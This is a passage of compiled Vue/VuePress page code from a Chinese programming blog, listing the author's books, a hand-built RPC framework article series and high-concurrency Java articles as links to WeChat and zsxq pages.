"),a("br")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/5ee367b68023466a87f66763a64a4133.jpg?raw=true",width:"100%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/12972343.html"}},[e._v("《深入理解分布式事务:原理与实战》")])]),e._v(" "),a("br")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/20210426115257555.png?raw=true",width:"80%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/13036154.html"}},[e._v("《MySQL技术大全:开发、优化与运维实战》")])]),e._v(" "),a("br")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/20200828011209412.png?raw=true",width:"80%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/12710993.html"}},[e._v("《海量数据处理与大数据技术实战》")])]),e._v(" "),a("br")]),e._v(" "),a("h3",{attrs:{id:"新书介绍"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#新书介绍"}},[e._v("#")]),e._v(" 新书介绍")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247502342&idx=1&sn=2fed57688d1f747dd1f167648b5f629d&chksm=cf567d07f821f411080fd0a91a8f6b0e93467be15ccecbf1250a2b5c79064265a48d6def0e0c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("多年亿级流量下的高并发经验总结,我毫无保留的写在了这本书中"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247502370&idx=1&sn=7ca6db495e46a89e707d6390f19eb7b4&chksm=cf567d23f821f4354fe2fa8f6f93502abdac9f3514c1f18ca672ad489c0b402a0b9e1254550c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河最新出版的《深入理解高并发编程:核心原理与案例实战》到底讲了些啥?(视频为证)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("让大家久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499558&idx=1&sn=c2bf24fd7b6615aeab489c93c65f7fdb&chksm=cf564827f821c1312adffa0b13bf2ffd24be1e378cd46ebaf96d97ddddcb0a22a3339af5058c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河获奖啦!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497328&idx=1&sn=2220b14a5874b225ee032f2d53e55b92&chksm=cf564171f821c867a6dacd4ca6e6189136eb2de7a9a53a75338c6f4b347d2ad7a7d48a1399d9&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("没别的,这次全是图!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497347&idx=1&sn=acf9fc57ecc5c44b5d28877bfd55c4d3&chksm=cf564182f821c894de668c19592419f2e629f5f200b7a548dc87e7b93f5ed0543d97a0960c4a&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("预售第一天霸榜No.1"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497427&idx=1&sn=1bc426317ef3d63109b5c6b679b60bc3&chksm=cf5641d2f821c8c425cb3b2f3edd802a16f27ecc31f6881a6180bf927d39c335a27a5e825f9a&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("分布式事务开山之作草图曝光!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497449&idx=1&sn=33ede1de6b2f66f21be579720f3419af&chksm=cf5641e8f821c8fe66d3f7d0379953169d4f8d7bfd44615de766796ece591685e9030a16232f&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("周六,签了100本书!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497530&idx=1&sn=aae63e5c000ff6a310a227ec901eaa2d&chksm=cf56403bf821c92db65e9092a1d2c511e70db7adca1021d7342ffbc02db8afa5b96fb3007f75&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("成绩出来了,三项第一!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497556&idx=1&sn=e5346ebb0dde3884137e13c7e68cb319&chksm=cf564055f821c943fced4e7d7729ca1ff9416ea9bab12b6b3e220b78311cb385c2b0e77c5249&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这本书爆了,上架不到6天紧急加印!!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497872&idx=1&sn=e5f7adb745339e3fa04c3f7174daadc6&chksm=cf564f91f821c68722cf344de013a9650006337f6d711142b17522066782c0041a6f6c9f680c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("又要加印了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497953&idx=1&sn=03b0377302d0ea619519b800390cbe94&chksm=cf564fe0f821c6f6048321e35fa84b26ceb028b83e62cb80e457427e2d2105761afa0e70acd7&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河作客开源中国“高手问答”栏目了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489216&idx=1&sn=ba163354bcc2ce902208bd9295065ab1&chksm=cf55a1c1f82228d7d1d1b71939614e30b58fd44b1cdea452e4afad57e53f642af815cd268b0c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我的《海量数据处理与大数据技术实战》出版啦!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489195&idx=1&sn=dd00de3ebd46aca9e318ff513cb23fcb&chksm=cf55a1aaf82228bc3b49ed8b338f0511fb465548d1ddb11489355cdac031cb5ae8b412f42baf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信?冰河的《海量数据处理与大数据技术实战》免费送!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489115&idx=1&sn=464b0c26af355588db4efda150ca646f&chksm=cf55a15af822284c3e38e542cfb7824d027c947495316ebce26a64abdd27e65a8d10ecce3481&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("《海量数据处理与大数据技术实战》读者福利!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489114&idx=1&sn=f6d3ecc53f7b53e91e050aa6d9e4b9e0&chksm=cf55a15bf822284d4759def938cb06a0da92aadd9768308aedd54bc86e09f9f708b916f957fd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("两本书,你更喜欢哪一本?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489670&idx=1&sn=fe4e1d4f3db05607e37f35cbd7837fc8&chksm=cf55af87f8222691c42b252444a2d5ec1989aadbc0956463169fe6bc8f77c4977b3a4d2dfe9c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又一MySQL技术力作出版(文末送书)!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"rpc手撸专栏-🔥🔥🔥-持续更新中"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#rpc手撸专栏-🔥🔥🔥-持续更新中"}},[e._v("#")]),e._v(" RPC手撸专栏(🔥🔥🔥 )持续更新中...")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/5HOUg49X0xQmkQjMiWnaIg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》前言:这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_6gfgwev2uw0p.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第1章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_xvd5up1u16nx.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第2章:高性能分布式RPC框架整体架构设计"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_zr6w6dvgdc95.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第3章:RPC服务核心注解的设计与实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_bal2cnmw3jbi.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第4章:实现RPC服务核心注解的扫描与解析"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_df11g9wmm8ad.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第5章:服务提供者收发消息基础功能实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_qgntsrvlljea.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第6章:自定义网络传输协议的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_5wqs9pshkwep.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第7章:自定义网络编解码的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_cd0dpx73a4uk.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第8章:模拟服务消费者与服务提供者之间的数据交互"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_fwxlxhq2bthz.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第9章:服务提供者调用真实方法的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_1uamc23nb7ws.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第10章:测试服务提供者调用真实方法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_wjwsso804nip.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第11章:服务提供者扩展支持CGLib调用真实方法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_wpfhwa85newn.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第12章:实现服务消费者与服务提供者直接通信"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_dfzr8j7xsn7e.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第13章:服务消费者异步转同步直接获取返回结果"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_6v8wcbaaitg4.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第14章:服务消费者异步转同步的自定义Future与AQS实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_oixsibgwepmu.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第15章:服务消费者同步、异步、单向调用的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_7nlqbj3z8rgw.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第16章:服务消费者回调方法的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_bv0jkh6fhr1w.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第17章:服务消费者实现动态代理功能屏蔽构建请求协议对象的细节"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_r6u3xt22wf67.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第18章:服务消费者整合动态代理实现直接调用接口返回结果数据"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_ciz8m2zcl6nt.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第19章:服务消费者动态代理实现异步调用"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通高并发系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通高并发系列"}},[e._v("#")]),e._v(" 精通高并发系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/E5XZW_HSqKBbgxix6xQGAQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("🔥🔥🔥 《深入理解高并发编程(第2版)》八大篇章,共433页,打包发布!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499147&idx=1&sn=757b83308cef7248a0d4549dd1ffa9a7&chksm=cf564a8af821c39c28c911e08b9367979a4cd868c2be64f93ef3571936b614416716f3ad6d9b&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入理解CPU缓存一致性协议MESI(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499600&idx=1&sn=cdb4b375676fc71357cbca6a30d9b93d&chksm=cf564851f821c147617db702fe4af386fe1e2acea1caa318ba33a3dd3878f538ae4ce74d3ea4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试高并发,凉了!!(全程高能,建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499371&idx=1&sn=4651483f83675642657c0bfc71cfdc5c&chksm=cf56496af821c07cbc5acf16ee24e36da72f73554916a5b01427e0b2d36e728e19e885b3a94c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("放假了再撸一篇:StampedLock(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499203&idx=1&sn=ec3fed322fbb7497563921d1a31924b8&chksm=cf564ac2f821c3d467b6efa428c2b67885e466e13b67fd8c363cbb3ab0ae0edbba86c18b269e&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一个Callable接口能有多少知识点?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497033&idx=1&sn=2d4dfe36a6799e8484915d0faf86c7d5&chksm=cf564248f821cb5e88fd823c1203a534fe3f9dff4b81cd29cebf5c43fc0619a765716bc7a093&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("10分钟手撸Java线程池,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496873&idx=2&sn=be0a6919734f01d042c63a12cf692d03&chksm=cf5643a8f821cabeae2c37ab468552b9a104f3e0ed5f81ffb862faa1c6da982754eae2c0ac6d&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不得不说的几种限流算法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496611&idx=1&sn=12885d386beeda9ebaa7192eeb74de07&chksm=cf5644a2f821cdb4b458a43e26c8f3af2c1f3d274d82ecc53ca9e0873f36cd12022a3c179a42&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文扫尽Java中的并发原子类,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495768&idx=1&sn=7a9eadbfc54600b26fa1bcb00bca5b52&chksm=cf564759f821ce4fb234ced2deb2c2bee1c4ed3b78115545ae481fd5314d6eb1d865df9c6cc8&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发秒杀系统如何实现正确的扣减库存?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495757&idx=1&sn=66ad5e42ee5bfb4e60ae257c1296f261&chksm=cf56474cf821ce5ada36c785e7086d341add1e3333330268c7e3ae8cc1dfdc5758d3c86930f9&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("生产环境内存溢出了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495561&idx=1&sn=84324d48463ebcb34aa3b095a6f3af87&chksm=cf565888f821d19eb98b83793f476c800287b7df2bae4f1f68e6af32c7adff38ad31de1df282&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实践出真知:全网最强秒杀系统架构解密!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495501&idx=1&sn=1140ff616ac5d247f9a3c100c3a82322&chksm=cf56584cf821d15a78f6d5a05d3085991b8fdd2a032c89944ffb4d7e7d06ad3d6ea0f09b3ffd&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程踩坑实录二:并发容器踩坑总结!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495411&idx=1&sn=5826041180fbb0a2fb938b1cdb4fcc43&chksm=cf5659f2f821d0e4eed130c28aa757058699a9e2f92a6bbc67fc5688de362edbc50bdd396d13&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程踩坑实录一:盘点JDK中同步容器的两大坑!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495332&idx=1&sn=6fcaf156fae6419a03ede479a30eede4&chksm=cf5659a5f821d0b37d8067bf868fb60780e5794e4220312e55c5f5e9bd3994c72b724f2f379d&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统性能优化的关键指标(yyds)!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495270&idx=1&sn=9c5a94cbdfd8115b45086d8bc3f06668&chksm=cf565967f821d071a83e68c22c391da8aca09ae5621af2933311d3986ea179b7642a955ba0d5&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我用10张图总结出这份并发编程最佳学习路线!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495055&idx=1&sn=8c1f14322c2f9327cea3dfafbfde855b&chksm=cf565a8ef821d398fc22ee97cbe8e29002bda11359fa122fe6538d2a5478d1bd203d8123fcc6&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("进一步优化:性能提升了200%!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494832&idx=1&sn=a2ce25f76cfaaf3c26354af226fd26c3&chksm=cf565bb1f821d2a72dad4b9bf49a6f1b449794bdefde0fc9de5b78a4df6b9d743e347fe9993e&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("性能提升了200%!(优化篇)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494645&idx=1&sn=e56f8780f857415464618b5b8546d28b&chksm=cf565cf4f821d5e21e1d91c0096680e2a6a437d51454298fd1c7a6c0d650774e8c89fda544cd&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("StampedLock,一种比读写锁更快的锁!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493259&idx=1&sn=2e17273ac15d8ca1f341303f46e4d438&chksm=cf56518af821d89c0b0ba592d405a23191eea804328d44250872a50e992e3c2d390a0e36b779&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("除了技术,互联网大厂更看重这些基础能力!!(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493121&idx=1&sn=cfc5676acd07a039c3716859479d9f46&chksm=cf565100f821d8168c2191fe6ab00590e657c96ad16727b708586c759dc568cae35065b2bd3b&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("【漫画高并发】工作了3年的程序员小菜面试高并发岗位被吊打虐哭!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492717&idx=1&sn=14f9818c02884143e5a249a8eb6f541a&chksm=cf56536cf821da7a07e305e16938b0d754af05485498e68ba2b9c8adc711189eb56f3af50740&token=1574716246&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("刚研究完Callable和Future,各位随便问!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492194&idx=1&sn=536d8ac9c4ab6f5bb45a156ccb671f90&chksm=cf565563f821dc75a6ed888a5bec1ab1c3371e67fe8154d7f03903bf14b3767d77337fcab505&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这部电子书凭什么短短几个月全网累计下载突破16万?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491931&idx=1&sn=63c272ddb2e6fefe1beeec0a9a748722&chksm=cf56565af821df4ce5c03fe29daf83dd3dfb55a0f20355c2ec90a922d380b965a503dfb59b3f&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("更正《深入理解高并发编程(第1版)》中的一处错误!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491329&idx=1&sn=fa306c598453149daf646655236f01ed&chksm=cf55a800f8222116c05cb7f8b2036842aa8951e65237a5b1e86d597e5ab3273613e29ee45b10&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河写的这部《深入理解高并发编程》电子书全网已累计下载15W+!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490255&idx=1&sn=714509ac9747898d34489045e382387c&chksm=cf55adcef82224d8f2570dd02bd1bb1c3c23d1c564a820f09eb5158c6632d5faaf4bf716a741&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发场景下如何优化服务器的性能?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490372&idx=1&sn=96f0ed94f9b0c8c19eb5586f0ff20e30&chksm=cf55ac45f82225538854df50ea3817cd5b07d90d59db9bd5259b1502bce4e795c0cdafc19afb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ReadWriteLock怎么和缓存扯上关系了?!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489139&idx=1&sn=17096da9642b01ca8311e07a119ecec0&chksm=cf55a172f82228642dee1571a8bd1e6b82ab5abeb8329b5e7f6f834fe2ee9da4ecff84ca28fa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("肝了三天三夜整理出这份36万字全网最牛的开源高并发编程PDF!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489158&idx=1&sn=8827ff6e97807154446565882ce7e487&chksm=cf55a187f82228917dbce2cfbce900bc5140dc0f321a2a6d504a40f6def1b2801d5aa6481581&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河的并发编程核心知识(源码分析篇)电子书开源啦(文末免费领取)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489407&idx=1&sn=fbbd0e6970064aecd0dcd603eb8489e3&chksm=cf55a07ef82229686ec55d5bbe4dabc658524e073a27fff2b1d86f0d8f56cf002b2cc0f548f5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程与多线程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489406&idx=1&sn=476f4eca8e42190d837077c97e659ad3&chksm=cf55a07ff82229692bc063cff0a57036e607c496a5dd163f70e57e1348a3a9fda6c30a01e9aa&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程的执行顺序"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489405&idx=1&sn=a71ece73ef42b4c1cdd4858627a96879&chksm=cf55a07cf822296aa2036a7144f62120981d4ff9a78ba1af1b35cb794fd4326284a3f9f9a900&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入解析Callable接口"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489404&idx=1&sn=9070d83bb4180c83b92597c066d68c12&chksm=cf55a07df822296b328b494659d33d34c3765de0fa441372ea4b9dad3541343852d006b9d07f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener 